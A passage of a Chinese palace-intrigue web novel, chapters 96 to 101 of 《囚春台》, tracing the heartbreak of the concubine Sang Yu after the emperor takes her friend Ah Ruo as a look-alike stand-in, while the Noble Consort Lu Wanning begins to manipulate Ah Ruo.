《囚春台》 第96章 桑余,你这个人,活该众叛亲离 赵德全在尚书阁外面不停踱步,急得来回打转转。 好不容易才等几个面见的大臣退下了,他才急忙进去禀告。 “陛下!” 祁蘅略带不满的扫了他一眼,冷声道:“慌慌张张的,什么事?” 赵德全一脸难为,禀告道:“陛下,方才有奴才看见,贵妃娘娘往紫宸殿去了。” 祁蘅的手指微微一顿,但很快就恢复如初。 “去就去,与朕何干?” “听闻昭妃娘娘伤还未好,奴才是怕她出事。” 祁蘅冷笑一声:“她骨头硬,能出什么事?况且,晚宁一向大度温婉,又不会对桑余做什么。” 赵德全欲言又止:她是不会做什么,可她那张嘴如果说出点什么…… 赵德全无奈的叹了口气,又怕自己多说,会惹火上身。 祁蘅将手里的朱笔随意扔开,拿起一本奏折翻开,目光落在上面,可许久也一个字也没看。 他在想,陆晚宁去找桑余,也不算坏事。 桑余恃宠而骄,欲情故纵,不激一激,怎么才能知道自己得到的独宠有多可贵。 怎么才能知道,一个宫女,成为妃嫔,是多么难得,又多么易碎。 她如果不珍惜这份宠爱,有的是人想要。 —— “娘娘!我方才从勤政殿回来……” 云雀从外面跑进来,正准备这一路上的古怪。 突然看见陆晚宁,她立刻噤声,小心翼翼的跪下行礼。 桑余错愕茫然的望着陆晚宁,她不知道,第二次背叛……是指谁。 “贵妃娘娘,我听不明白您的话。” 陆晚宁肩膀深深耸动,叹了口气,仿佛在可怜桑余。 “冬日里,在浣衣坊,我见你为了保护那个婢女,不惜以身犯险。可惜啊,皇恩浩荡,这宫里的人,哪里会因为你的好,就放弃掉荣华富贵?” 桑余整个人凝滞当场,她第一次,觉得人口中的话语是这么晦涩难懂,让她怎么也反应不过来。 “想来,陛下应该也不是故意专门挑你情深义重的姐妹宠幸,这不是打算让你在这里连个知冷知热的人都不留,孤苦一生么?” 桑余的手指死死抠住躺椅扶手,指节泛出青白。 阳光依旧灿烂,却照得她眼前一阵阵发黑。 "阿箬......?"她的声音轻得像一片落叶。 陆晚宁红唇勾起一抹残忍的弧度:"可不就是那个小丫头。听闻陛下是在勤政殿瞧见她,说是......"她故意顿了顿,"说是见她生得与你有几分相似,一时情动呢。" 桑余胸口剧烈起伏,喉间涌上一股腥甜。 阿箬去勤政殿是因为她,桑余本来以为,那是救了阿箬,却没想到…… "不可能......"桑余摇头,声音发颤,"阿箬不会的......" “怎么不会?”陆晚宁轻飘飘的说:“不过,她是比昭妃听话一些,想来这也是过人之处。奴婢嘛……其他本领不会,听话懂事,倒是擅长。” 云雀颤抖起来,一瞬间就想起方才在勤政殿外听见的那些话。 飞上枝头的宫女…… 那位主子…… 原来就是阿箬! “难怪……”云雀的嘴唇发白,忽然伸手将手里的绣花帕子一把撕开丢在地上,愤愤道:“难怪她这几日都穿着新制的衣服,整日心神不宁,还来伺候娘娘,原来……原来早就……” 陆晚宁轻笑出声:“昭妃姐姐现在信了?” 自椒房殿一事之后,陆晚宁就知道,祁蘅那个人,后宫对他而言只是稳固政治的工具,他宠幸谁,冷落谁,其实什么都说明不了。 可她就是不想看着一个婢女在祁蘅心中的地位比自己重! 她俯身,金步摇的流苏在桑余眼前晃啊晃,她的声音很低很低:“是不是很气恼?你就等着自己被弃之敝履吧,看那时,谁还会再护着你。” 桑余想到昨日傍晚阿箬来找自己,怎么了许多关于祁蘅的事,她还问,祁蘅为自己簪过发么? 也就是说,祁蘅为阿箬簪发了。 她做过那么多事,流了那么多血,至死不渝的陪着他伴着他,可他最终,却将这些过去尽数化为扎向自己的刀子。 "咳——" 一口鲜血毫无预兆地从嘴角溢出。 桑余只觉得后背箭伤处传来撕裂般的剧痛,眼前陆晚宁精致的面容开始扭曲旋转。 “娘娘!”林嬷嬷和云雀惊叫着扑上来。 陆晚宁后退两步,嫌恶地拎起裙摆避开血迹:“这就受不住了?” 她转头对随行的青黛道:“去请太医吧,就说昭妃娘娘旧伤复发,可别怪到本宫手上。” 桑余倒在林嬷嬷怀里,视线模糊间看到云雀哭着往外跑。 四周变得好安静,光芒极致刺眼,而后一切归于黑暗。 桑余想,祁蘅真的狠。 他真的想让她彻底孤苦无依,被所有人抛弃背叛。 这就是那日他说的,惹怒他的下场么? 那么祁蘅,你做到了。 —— 祁蘅正在与大臣一同议事,伸手去拿面前的茶杯。 可不知怎么回事,手一抖,杯子被打翻了。 祁蘅看着湮开的茶水,心莫名慌乱起来,跳的很快。 “罢了。” 他开口打断:“今日不早了,此事就依着冯丞相所言去办就好。” 大司马听到这话,欲言又止,却又无计可施,狠狠地瞪了一眼冯崇。 待到众人散去,宫人已经将桌面打理干净,赵德全为祁蘅递上帕子。 祁蘅擦拭着手指,这才想起来上午陆晚宁去过桑余的宫里。 “贵妃回去了么?” 赵德全抿了抿唇,心想您总算是想起后宫的这两位了。 “早就回去了。” 回去了? 祁蘅顿了顿。 那照理说,桑余应是已经知道了自己宠幸她人的事情,可为何还不来找自己? 他封陆晚宁为贵妃的时候,她都闹了脾气。 如今倒是能坐得住了。 祁蘅想见见她,看她是否真的不在乎。 “朕……也有大半月未去紫宸殿了吧?” 赵德全说:“二十二天了。” 祁蘅“嗯”了一声,随意道:“毕竟昭妃受了伤,是得去探望探望了。” 赵德全暗自挑了挑眉。 看来陛下终于是坐不住了。 第97章 桑余,是你害了阿箬 祁蘅是夜里来的紫宸殿。 和他想象的不太一样,今夜的紫宸殿,人很多。 赵德全也有些意外,远远看着殿前人来人往,不由奇怪:“这……这怎么都是太医院的人?” 祁蘅却已经猜到了,步子像一阵风一样。 一定是桑余出什么事了! 赵德全看到陛下突然加快步伐,心下暗叹不妙,也急忙跟了上去。 太医正从屋里出来,看见一道宽大的玄色身影渐近,随即跪下迎接。 “臣等叩见陛下!” 祁蘅眼皮跳动,小心翼翼的看向屋内:“怎么回事?” 太医回禀:“娘娘旧伤复发,又激起了体内的余毒,不过好在已经压制住了。” 余毒…… 祁蘅心中涌出无限的懊恼。 对,他又忘了她有余毒,他明明说过,不会再让她难过,要让她顺遂快乐,尽早康复。 可他,二十二天没来看她了。 哪怕日日都在想她,梦里都是她的脸,可他还是一次都没来看过她。 “此事为什么不传报朕?” 太医颤颤巍巍说:“陛下今日不是下令,若有事惊扰册封之喜,不可声张……微臣这才……” 祁蘅眉头一紧,头疼的厉害。 他是下了这样的令,可不知桑余今日会出事。 他僵硬的抬手让太医退下,自己走了进去,屋里隐隐绰绰传来云雀的哭声。 桑余是醒着的,躺在床上,背对着,蜷缩成小小一团。 祁蘅的心蓦然的一痛,他张口欲言。 云雀却忽然开口:“娘娘,您说句话吧,您不说话,奴婢真的害怕……” 桑余还是沉默。 她……是因为自己宠幸了她人,所以才会这么难过吗? 祁蘅的步子一点点上前。 云雀回首看到了祁蘅,愣了愣,冷冷的收回眼泪,准备跪下行礼。 还没开口,祁蘅就让她出去。 “陛下,娘娘身体未愈……” “你再多说一句,朕就让人割了你的舌头。” 云雀哑然,被祁蘅浑身上下的威严气息压的喘不过气。 赵德全上前,给她使了个眼色,让她赶紧出来。 云雀这才走了。 祁蘅来到床榻边,看着桑余的背影,后背瘦的仿佛只剩下一掌宽,喉头一紧。 “这半个月,你是不是都没有好好用膳?” 桑余眨了眨眼睛,缓缓转过身,对上他的视线。 两个人视线交叠,那么近,却好像隔着怎么也触碰不到对方的浓雾迷障。 只是沉默,桑余却只用沉默,就让祁蘅生出莫名的局促,垂眸避开了目光。 “你……好些了么?” 桑余没有回答这个问题,开口就问:“陛下对阿箬是认真的么?” 祁蘅一怔。 他无数次想到桑余知道阿箬的事后会恼怒,会吃醋,会嫉妒……他其实有些侥幸,这样,至少证明桑余还在意他。 可现在,桑余真的问出阿箬的事,祁蘅只觉得心虚,不敢看她的眼睛。 是啊,他真的……真的宠幸了别人。 这个事实已定,怎么也回不去了。 可他是皇帝,祁蘅这样想,想要让自己在桑余面前别这么失态。 他挑眉,不以为然地笑了笑:“是,她很听话,和后宫里的女人都不一样,很适合……用来解闷。” “是你逼迫她的么?” 祁蘅没想到她会这么问。 她为什么会这么问? 因为他们之间的第一次,是自己逼迫的桑余么? 所以她就要故意这么问,故意这么恶心自己。 “你这话是什么意思?朕看上的女人,哪个不是心甘情愿求之不得?你以为谁都同你一样么?” 话说完,祁蘅的气息还有些不稳,他是真的被触怒了, 桑余却还是很平静,她眨了眨眼睛,仿佛确认了一件事后,松了口气般。 “好,那就请陛下好好待她,阿箬无亲无故,别让别人欺负她。哪怕只是解闷,也请保护好她。” 祁蘅的呼吸都凝滞了。 “你说……让朕好好待她?让朕,对好好对别的女人?” 桑余闭上了眼,屋里的蜡烛好亮,她如今是越来越不喜欢亮光了,闭上眼睛就好像回到了黑暗中,方得安全。 人人都将她往黑暗里推去,似乎从不会有人想要伸手将她拉一把。 祁蘅凝视着他,眸子变得漆黑:“桑余,这样有意思么?” “陛下想说什么?” “你是不是觉得,朕不该宠幸阿箬?” “陛下的自由,妃嫔无权干涉,臣妾也不例外……” “可你却因为此事病成这个样子,你心里明明就很在意!” 桑余睁开眼,看向祁蘅,生出一种将生死置之度外的果决。 “是因为你宠幸的是我的姐妹,是我信任的人,你杀了师父,又夺走了我为数不多的好友,你明明知道这深宫是如何的肮脏,你困住我还不够,还想困住阿箬!” “你以为谁都同你这般不识好歹?你既说她是你的姐妹,那朕给她荣华富贵,你不应该感激朕么?还是说,你就是嫉妒?!” 两个人是第一次吵的如此面红耳赤。 倒是吓得外面跪着的奴才们战战兢兢。 这世上,恐怕也就只有昭妃娘娘敢与皇帝这般争执。 两个人都沉默了下来。 祁蘅的手在抖。 “你明明就在意。而且,若非你跟朕胡闹,朕又怎么会宠幸她人?” 桑余迟疑的皱起眉,问:“因为我?” “是!如果你觉得做朕的女人,是一件绝望之事,是毁了阿箬,那毁了她的人应该是你,她这一生的罪魁祸首也是你!” 桑余目光一怔,不可置信,仿佛做了天大的错事,她迫切的摇头,否认:“不是我……” 祁蘅似是知道了桑余的死穴。 他又是打定主意今日要吵赢她,较着劲不服输,遂之不以为然地笑了笑,又开口: “她是因为你才到朕的宫殿里当差的吧?她头上的簪子,也是你送的吧?算起来,是你,把她,推到了朕的身边。” 桑余躺在那里,茫然错愕的睁着眼睛,看着祁蘅。 祁蘅也在看她,只是目光很冷。 那一瞬间,祁蘅心里什么东西,猛的断了。 第98章 陛下说要为阿箬种桂花树 祁蘅的话像一把锋利的匕首,直直插入桑余的心脏。 "是你,把她,推到了朕的身边。" 这句话每一个字都像是一记重锤,敲得她五脏六腑都在震颤。 桑余张了张嘴,却发不出声音,只是一阵一阵的疼。 祁蘅看着桑余惨白的脸色和颤抖的嘴唇,心中闪过一丝悔意。 可他也气的不行,连嘴唇都在发抖,紧握的拳头藏在宽大的袖袍中,死死的攥紧。 "怎么?无话可说了?"祁蘅冷笑一声,声音却比平时高了几分,"你不是一向伶牙俐齿吗?" 桑余缓缓闭上眼睛,泪水淌下来浸入了发丝。 她想起在浣衣坊的那一个月,是阿箬在雪地里陪着她护着她;想起是她亲手将那个孤苦的女孩推入了勤政殿;想起她们相守时,阿箬天真烂漫的笑容... "陛下..."桑余的声音轻得几乎听不见,"您说得对,是我……是我害了阿箬。" 祁蘅愣住了。他本以为桑余会反驳,会争辩,会像从前那样与他针锋相对。 可眼前这个虚弱认命的桑余,让他感到陌生又心慌。 "你——"祁蘅的嘴唇颤抖着,他看见桑余眼中有什么东西熄灭了,那是一种比愤怒更让他恐惧的平静。 他无力又愤恨。 人人都觉得桑余怕祁蘅,可谁都想不到,祁蘅也怕桑余。 对祁蘅而言,他赏别人,别人就要叩头谢恩,他罚别人,别人也要扣头谢罪。 可唯独对桑余,他什么办法也没有。 哪怕她忤逆他,背叛他那么多次,可他还是忍不下心真正伤害她。 只能做这些可笑的无用之事逼她爱自己。 可她如果真的哭了,祁蘅还是会无措,会全身发冷,会害怕。 桑余缓缓睁开眼睛,她看着祁蘅,目光却仿佛穿透了他,看向很久很久以前的过去。 "陛下,如果有一天我死了……"桑余的声音忽然很疲惫,不见方才的锋芒着,像说一件很平常的事:"就将我,葬的远一些吧这里,太脏了,我不要……" 祁蘅的心猛地一沉,一股前所未有的恐惧攫住了他。"胡说八道!"他厉声喝道,"你不会死!朕不许你死!" 桑余轻轻笑了,那笑容凄凉得让祁蘅心头刺痛:“如今的我,究竟还能活多长时间呢?” "闭嘴!"祁蘅猛地转身,宽大的衣袖带起一阵风,吹灭了床边的烛火。 他仿佛听见了什么心神俱毁的话,足以让他不敢待在这件屋子里,不敢再听见桑余再说一句话。 黑暗中,他的声音带着不容置疑的威严:"太医说了,你只是旧伤复发,好好调养就会痊愈。朕……朕改日再来看你。" 说完,他迫切地走出内室,背影僵硬慌乱。 赵德全连忙跟上,却被祁蘅一个眼神钉在原地。 "你留下,"祁蘅压低声音,"看着她,别让她……做傻事。" 赵德全心头一震,连忙躬身应是。 祁蘅走后,云雀几乎是跑着进来的。 她看见桑余躺在床上,当即就哭出来了。 "娘娘……"云雀哽咽着,"您别吓奴婢..." 桑余长叹一口气,她缓缓握住云雀的手,声音虚弱:"去请阿箬来。" 云雀不理解:"娘娘,她如今成了妃嫔,定是不会轻易前来!" "去。"桑余闭上眼睛,"就说……这是我此生最后一次请她,也是最后一次见她。" 云雀的手抖了抖,最终还是点头退下。 约莫半个时辰后,一阵轻微的脚步声传来。 桑余睁开眼睛,看见阿箬站在门口,一袭淡粉色宫装,发间簪着她送的那支银簪簪子,脸上施了薄粉,比从前不知华贵精致了许多,却掩不住眼中的心虚。 "娘娘……"阿箬的声音细如蚊蚋,她不敢直视桑余的眼睛,忐忑不安。 桑余静静地看着她,忽然笑了:"过来坐。" 阿箬迟疑地走近,在床边的绣墩上坐下,始终低着头。 她闻到了桑余身上淡淡的药苦,还有一丝若有若无的血腥气,心头一酸。 "娘娘……会怪我吗?"阿箬终于鼓起勇气抬头,眼中噙着泪水。 桑余摇摇头,伸手轻轻抚过阿箬的发髻:"我不能阻碍你的选择,是我……是我害了你。" 阿箬的眼泪一下子涌了出来。 她跪倒在地,额头抵着冰凉的地砖:"是奴婢对不起娘娘……都是奴婢……" "你现在是妃嫔了,"桑余轻声说,"不要再自称奴婢,也不要再行这样的大礼。" 阿箬抬起头,泪眼朦胧中,她看见桑余苍白的脸上带着温柔的笑意,那笑容让她心如刀绞。 "娘娘,我……" "阿箬,"桑余打断她,"我只问你一个问题,你要如实回答我。"她深吸一口气,"你是……心甘情愿跟着陛下的吗?" 阿箬的眼中闪过一丝复杂,但很快被坚定取代。她点点头:"是。陛下……陛下待我很好。" 桑余仔细端详着阿箬的表情,尽是少女对心爱之人的倾慕,她唇角微扬,点了点头:"那就好。" "娘娘不生气吗?"阿箬小心翼翼地问。 "我为何要生气?"桑余苦笑,"这深宫里的女子,都想寻一条好路,富贵荣华一生一世。只是……"她顿了顿,"你要想清楚,这条路并不好走。后宫妃嫔之间的争斗,比你想象的狠得多。" 阿箬咬了咬嘴唇:"可做奴婢更不容易,娘娘也在浣衣坊待过,冬日里洗衣服,夏日里刷恭桶,一双手冻得全是疮,还要被嬷嬷和太监欺辱。我……我只想有个人疼我,爱我……" 桑余的目光柔和下来,只要是阿箬心甘情愿,那就说明,不全是自己害得她。 "我明白了。可我还是要提醒你,不要过于深陷皇上的温情,会伤了自己,他不会对女子真心的……” 阿箬抿了抿唇,却不这么认为,她固执道:“娘娘,陛下待我,是真的与她人不同!他还说,只要我听话,他会待我好一辈子,还说要为我在御花园种桂花树……” 桑余疲惫地闭上眼睛,打断她,"你去吧。好好……照顾自己。" 阿箬顿住,她垂下了眼,起身重重地磕了三个头,额头都泛起了红印。 "娘娘的救命之恩,阿箬永生难忘。从今往后,阿箬会替娘娘……好好照顾陛下。" "不必了。"桑余的声音疲惫,"你只需顾好自己便是,我想说的话,已经说到了,记不记在心上,是你自己的事。" 阿箬脸色一白,连忙道:"娘娘恕罪,我……" "去吧。"桑余别过脸去,"我累了。" 阿箬站起身,一步三回头地往外走。 在门口,她最后看了一眼床上的桑余,那个曾经给她温暖、救过她的恩人,如今瘦得只剩下一把骨头,在锦被中几乎看不出起伏。 "娘娘保重。"阿箬轻声说,然后转身离去,泪水终于决堤。 房门关上的瞬间,桑余剧烈地咳嗽起来,一口鲜血喷在雪白的帕子上。 第99章 桑余一眼就看中了李识衍的诗 云雀给她擦嘴角的血,手都在颤抖。 桑余看着帕子上那抹刺目的鲜红,竟觉得有些解脱。 "就这样吧。"她轻声自语,"等死,等到身死之日,一切就都结束了。" —— 翌日,清晨。 今早,外面就隐隐传来嘈杂声。 御花园离紫宸殿极近,云雀一边给桑余喂药,一边埋怨道:“一大早就在闹腾,真是聒噪!” "外头是在做什么?"桑余随口问道。 云雀一怔,极不情愿的小声道:"回娘娘,是陛下命人在御花园为新晋的宝林栽种桂花树,听说要移植二十株成年桂树,工部派了许多的人来。" 桑余的手指微微蜷缩了一下,随即松开。 她望向窗外,春日的阳光正好,却照得人眼睛发疼。 "娘娘……"云雀欲言又止。 "无妨。"桑余淡淡道,"去把我……" 话音未落,殿门突然被推开,一个穿着浅灰锦袍的小少年风一般冲了进来。 "昭娘娘!"十皇子祁翎像只欢快的小鹿,一头扎进桑余怀里,"翎儿来看您了!" 桑余被撞得胸口一疼,却忍不住露出这些天来第一个真心的笑容。 她伸手抚摸着祁翎柔软的发顶:"怎么跑得这样急?当心摔着。" 祁翎生得越发俊朗可爱了,圆脸上嵌着一双明亮的眼睛,一个冬天过去,显得多了几分稳重。 "昭娘娘,您怎么又瘦了?"祁翎仰起小脸,担忧地摸着桑余凹陷的脸颊,"是不是又没有好好吃饭?" 桑余心头一暖,捏了捏他的脸蛋:"翎儿倒是胖了,看来御膳房没少给你做好吃的。" 祁翎咯咯笑起来,从怀里掏出一个油纸包:"我给娘娘带了玫瑰酥,我可爱吃这个了!" "谢谢翎儿。"桑余接过点心,轻轻咬了一口,甜腻的味道在舌尖化开,却让她喉头发苦。 祁翎爬上软榻,依偎在桑余身边,小声道:"昭娘娘,最近我好生烦躁啊,皇兄天天都让我去书阁。" 桑余笑了笑,问:"怎么了?" "皇兄给我找了好多老师,都是翰林院的,可我一个都不喜欢。"祁翎撅着嘴,"那些老头子只会让我背书,无聊死了。" 桑余失笑:"读书本就是枯燥的事,我也不太喜欢。" 祁翎眼睛一亮,突然拉住她的手说:"对了昭娘娘,今日那些翰林都在文华阁等着皇兄考校,您陪我去看看好不好?帮我选个喜欢的老师!" 桑余下意识要拒绝:"这不合规矩……" "求您了!"祁翎摇晃着她的手臂,"您都好久没出紫宸殿了,就当陪我散散心嘛!" 看着祁翎期盼的眼神,桑余心软了。 左右她已存了死志,最后陪陪这孩子也好。 "好吧。"桑余轻叹,"不过只远远看一眼,不许胡闹。" 祁翎欢呼一声,拉着桑余就往外跑。 云雀连忙拿来披风给桑余系上,小声叮嘱:"娘娘当心身子。" 春日暖阳照在身上,桑余眯了眯眼。她已经许久没这样走在阳光下了,紫宸殿外的海棠开得正好,粉白的花瓣随风飘落,美得不似人间。 祁蘅还真喜欢为别人种花,又是海棠,又是桂花的。 —— 很快一行人就到了文华阁。 桑余和祁翎上了二楼,透过雕花栏杆,能将下方的情景尽收眼底。 十余名翰林官员正在伏案作诗,个个神情专注。 祁翎小声道:“今日,太傅让他们以‘明志’为题作诗,最好的那个就能当我的老师。” 桑余点点头。 她对诗词歌赋并不精通,暗卫出身的她更擅长的是刀剑而非笔墨。 时间一分一秒过去,翰林们陆续停笔。 侍从将诗作一一收走,呈到隔壁房间由太傅亲自审阅。 "昭娘娘,您说谁会赢啊?"祁翎小声问。 桑余摇头:"我也不懂这些。" 祁翎说:“那我去取几份来给皇嫂瞧瞧!” 说着,便起身去拿,很快就取了几页诗稿。 桑余接过,她看不太懂,又怕伤了祁翎热情的心思,便认真的读了起来。 大多数诗作都在赞美英雄意志,辞藻华丽却无甚新意。 但其中一首却让桑余的手指微微一顿: "困龙犹有冲天志, 岂甘蜷缩在浅池。 待到风云际会时, 扶摇直上九万里。" 字迹清峻有力,像一把利剑,直刺桑余心底。 "这是什么意思啊?"祁翎凑过来,困惑地问。 桑余轻声道:"是说……即使身处困境,也不要放弃希望,终有一日能挣脱枷锁,获得自由。" 她翻到诗稿末尾,看到了署名:翰林院编修李识衍。 "李识衍……"桑余默念这个名字,觉得耳熟。 “我觉得这首诗,便做的极好。” “那便留他当先生吧,挑来挑去也没意思!”祁翎对旁边的宫人道:“将此事通传一下皇兄,告知他先生之事已定。” 宫人应诺,随即退下。 桑余手里还拿着那首诗,目光落于纸上。 "困龙犹有冲天志,岂甘蜷缩在浅池……" 许久以来第一次,桑余感到心底有什么东西,轻轻动了一下。 就好像是在说她,不该就这样苦苦等死。 桑余将那首诗折好,小心的收了起来。 第100章 原来自己只是替身 阿箬昨日梦见了去世的母亲。 她对母亲在天之灵说:“女儿终于熬出头了,晋升了宝林,以后再也不会有人欺负我了。陛下很疼我,他很喜欢我,他一定会喜欢女儿一辈子!” 母亲很欣慰,夸赞她有本事。 醒来后,阿箬眼角还带着泪。 她内心感怀,想到皇上对自己的宠爱,心底不由甜蜜,心情也好了起来。 洗漱完,她就听见底下的侍女们说,等今年秋天桂花开了,定是满院子飘香。 “从前御花园里就有好几棵桂树,一入秋便是金灿灿的一片,只可惜都被砍掉了。” 阿箬微微怔住。 从前也有桂花树吗? 那为什么会砍掉呢? 是陛下砍掉的吗? 陛下为什么要砍掉,又为什么忽然种上? 外人都说,是因为自己,可只有阿箬知道,她从来没说过自己喜欢桂花。 阿箬听见外面的脚步声,回过神来,急忙对着镜子整理了一番,多涂了一层口脂。 祁蘅推门而入,侍女纷纷告退。 他今夜饮了酒,目光有些涣散,步伐不稳的坐到了椅子上。 阿箬来到祁蘅面前,有些娇羞的低着头。 她今日特意换的红衣,还配了红色的珠钗,不知道陛下喜不喜欢。 祁蘅坐了下来,看着她的红衣,皱了皱眉:“你换衣服了?” “是。”阿箬跪坐在祁蘅身侧,给他倒茶,因为他的注意而有些窃喜:“嬷嬷说,臣妾穿红色很好看……” “谁让你换衣服的?” 阿箬的手猛的一顿,错愕的对上了祁蘅黑黢黢的目光。 “臣妾……” 祁蘅觉得阿箬穿着红色就一点也不像桑余了,桑余从来不穿红色。 桑余总说,红色像血,她会做噩梦。 阿箬回过神来,认错:“臣妾……臣妾以后不会了,臣妾这就去换回来!” 祁蘅看着她慌张的起身准备离开,眼中闪过微不可察的厌恶。 她还是不像。 穿上红色以后,更不像了。 “不用了。” 阿箬脚步停住,以为是陛下息怒了,小心翼翼的笑了笑,却又听见祁蘅说: “朕今夜还有公务在身,先走了。” 阿箬的目光闪过茫然,祁蘅却已经起身。 他连茶都没喝一口,就要走了。 阿箬快步上前,跪在祁蘅面前,一把抓住他的衣角:“陛下!陛下,阿箬做错了什么您说,阿箬改!您不喜欢红衣,阿箬以后便再也不穿了,求您别走!” 祁蘅低头看向她,看见她哭,那双和桑余有几分像的眼睛在流泪,还是心软了下来。 他目光飘忽,忽然问:“今日朕为你种的桂花,你喜欢吗?” “喜欢!喜欢!” 祁蘅蹲下身子,看着那双眼睛,醉意致使幻视,竟将阿箬看成了桑余。 “你怪我砍了桂花树,朕重新替你种上了,比从前还要多,你为什么还是不开心呢?” 阿箬怔住,她没有听懂祁蘅是什么意思。 祁蘅好像,是在透过自己看另一个人。 “皇上,臣妾很开心啊……” “不,你不开心……” 祁蘅忽然问:“你还想要什么,都可以同朕说,朕都满足你!” 阿箬只觉得云里雾里,祁蘅的态度转变的太快,可他又温柔下来,叫阿箬受宠若惊。 “臣妾什么都不要,臣妾只要陪在陛下身边……” “你今日肯陪祁翎出去,笑的那么开心,你很久都未对朕那样笑过了……” 阿箬身形微顿,笑容也僵在嘴角。 她今日,根本就没有见过十王爷! “陛下,您……是喝醉了么?臣妾并未与十王爷……” 阿箬正要说什么,祁蘅忽然把她裹进了怀里,揉着她的肩膀,声音沙哑:“你为什么……就不能理解朕的苦心呢?为什么……” 声音渐低,祁蘅已经闭上了眼睛,靠在阿箬的肩上睡着了。 十皇子,在这后宫之中从来只与桑余亲近。 阿箬一脸惊骇,心中闪过一个猜测。 莫不是,皇上想的这个人,是……桑余。 移种桂花树也是因为桑余。 皇上还是这么在乎桑余么? 难道……皇上宠幸自己,也是因为…… 【阿箬如今和娘娘越发相像了!】 云雀和林嬷嬷的话在耳边重重响起,如一道惊雷。 一瞬间,从头至尾,阿箬想不明白的事情。全部都在这一刻清晰明了了。 她……她只是桑余的替身! —— 翌日,祁蘅醒的很早,阿箬很规矩的睡在他身侧,可他没看一眼就起身准备离开。 动静惊醒了阿箬。 阿箬看着祁蘅的背影,想到自己原以为是独一无二的宠爱,其实只是宛若卿影。 等到祁蘅离开,阿箬才睁开眼睛。 她起身,看到衣匣里的衣服,各种各样的颜色,只觉得晃眼又厌恶。 等到侍女进来,便看见衣服扔的满地都是,阿箬翻箱倒柜不知道再找什么。 “于宝林?于宝林这是怎么了?” 阿箬停了下来,回头,看向侍女,语气颤抖坚定:“今后,我的衣匣里,只准放杏黄的衣服,别的一件都不能有,明白么?” 侍女被阿箬的话整得云里雾里,但还是急忙点了点头。 —— 自从贺贞刺杀失败后被圈禁,贺氏一族流放的流放,降职的降职,贺明兰自然也被废弃。 陆晚宁少了一把肯替她做事的刀,可放眼宫里,她一时也找不出可以任她驱使的傀儡。 但陆晚宁忽然想到了一人。 阿箬刚刚把其他颜色的衣服都处理了,将桑余给她的簪子戴在头上,手下人就来通传,陆晚宁来了。 阿箬想到陆晚宁会来,或是给她下马威,或是来折辱她,她早就做好准备了。 院子里,阿箬跪着,小心翼翼的低着头,说道:“恭迎贵妃娘娘!” 陆晚宁缓缓走近,带着一股若有若无的海棠香气。 阿箬闭上眼睛,抖了一下,想象着陆晚宁会如何折磨自己抢了陛下的宠爱,她骨子里就对这些上位者恐惧。 况且,冬日里在浣衣局,陆晚宁更是看着贺明兰与张嬷嬷欺辱打骂自己,险些害了她和桑余的命。 然而,良久后,头顶上方忽然传来一声温婉的笑:“妹妹怎么这么怕本宫?” 阿箬手指一抖,却又有些意料之外的茫然。 陆晚宁忽然伸手扶她:“快起来,自你晋位后,咱们还没好好的说说话呢。” 阿箬错愕的看着那双扶着自己的纤纤玉手,微微失神:“贵妃娘娘……” 陆晚宁摸了摸她的脸,笑道:“从前倒是没发现妹妹是个美人坯子,还是陛下眼光高。” 阿箬羞愧的低下了头。 她也是昨夜才知道,自己被宠幸,只是因为这张和桑余有几分像的脸。 但是陆晚宁很温柔,似乎没有恶意。 她喉咙微紧,怯懦的小声问道:“贵妃娘娘大驾光临,是为何事?” 陆晚宁莞尔一笑,拉着她的手坐下:“昨日陛下为你在御花园种了桂花,整个后宫都艳羡不已,本宫自然也是。” 阿箬垂着眼,想到这些,就觉得浑身的血都在颤抖。 第101章 如果昭妃不在了 皇上对她好是因为桑余。 皇上种那些桂花树也是因为桑余。 皇上给她的宠爱,从一开始就是因为桑余。 这些宠爱来的太快,以至于阿箬沉浸在幸福中,昨夜才醒悟过来。 不甘自然也随之而来,没有人会想自己得到的宠幸是因为别的女人。 “贵妃娘娘多虑了,陛下种那些树,是因为……” 她闭上眼,弱弱的笑了笑,攒足了力气才说出口:“是因为昭妃娘娘喜欢,陛下是将臣妾当成了昭妃娘娘。倘若有一天,陛下同昭妃娘娘重修旧好,臣妾就什么都不是了。” 呵…… 想到这里,阿箬悲催的叹了口气,冷笑出声。 她只觉得活在随时会被抛弃的恐惧中。 这个宝林的位子能做多久,全看皇上和桑余什么时候和好。 况且,自己背叛了桑余,桑余如果想挤走自己,只需要动动手指。 毕竟……阿箬知道女人的嫉妒心有多可怖。 桑余再人淡如菊,哪怕前几日她说过不生气,可她到底也是靠着宠爱过活的妃子,等桑余想明白了,不就会找自己算账么? 陆晚宁宛若惊讶的瞪大了眼睛,随之眼底浮现一丝怜悯:“好妹妹,原是这样,那你一定很难过吧?” 阿箬本来还能撑住,听到有人这样怜悯自己,心底的悲伤顿时决堤,眼泪涌了出来。 “是啊,我还信誓旦旦的去跟昭妃娘娘说,陛下是真心待我……现在想想,昭妃娘娘那时一定觉得我很可笑。” 陆晚宁看着她哭哭啼啼的样子,眼中浮现戏谑,但随即装作感伤的叹了口气。 “原来宫中这样可怜的女子,不止本宫。” 阿箬一怔,泪眼朦胧的看向陆晚宁:“娘娘这是什么意思?宫中都知,你与陛下早就情投意合,还未有子嗣便封了贵妃,这般空前绝后的宠爱,怎么会可怜呢?” 陆晚宁苦笑了笑:“是啊,怎么会可怜呢?” 她目光缓缓放远,想起曾经祁蘅对她的在意,哪怕连续三年跨越千里来看望自己也在所不惜。 若不是自己全家被流放,若不是祁蘅对自己那般热衷,自己堂堂尚书千金,丞相义女,怎么会看上一个不受宠的废皇子呢? 但后来,陆晚宁也是动了心的。 所以此刻,她说这话的假意里,也掺杂着几分真相。 “可是,陛下还是喜欢上了桑余,为了她,椒房之礼时冷落本宫,为了她,始终没有宠幸过我,深宫中,日日夜夜一个人的感觉,太痛苦、太可怕了……” 阿箬听得心仿佛都沉到了谷底。 昨日只是听说陛下要走,阿箬都倍感绝望,若将来陛下也这般日日不来见自己,阿箬不敢想那份寂寞和冷落要多绝望。 陆晚宁擦了擦眼泪,装作坚强的笑了笑:“没关系,这般患得患失本宫都习惯了。我们做嫔妃的,命运如何,全靠陛下心意,” 这阿箬知道,可她就是拿捏不准陛下的心意。 “贵妃娘娘,你说……我们到底该怎么办……” 陆晚宁目光一动,看向她,问:“你……也不想整日活在担惊受怕中吧?” “娘娘,我不想……不想就此失去陛下!” 阿箬仿佛抓住了救命稻草,跪了下来,抓紧了陆晚宁的裙角:“娘娘救救臣妾,臣妾朕的不能失去陛下的宠爱啊!” 陆晚宁挑了挑眉,缓缓笑了笑:“其实,倒的确一个办法,就看你愿不愿意做了。” 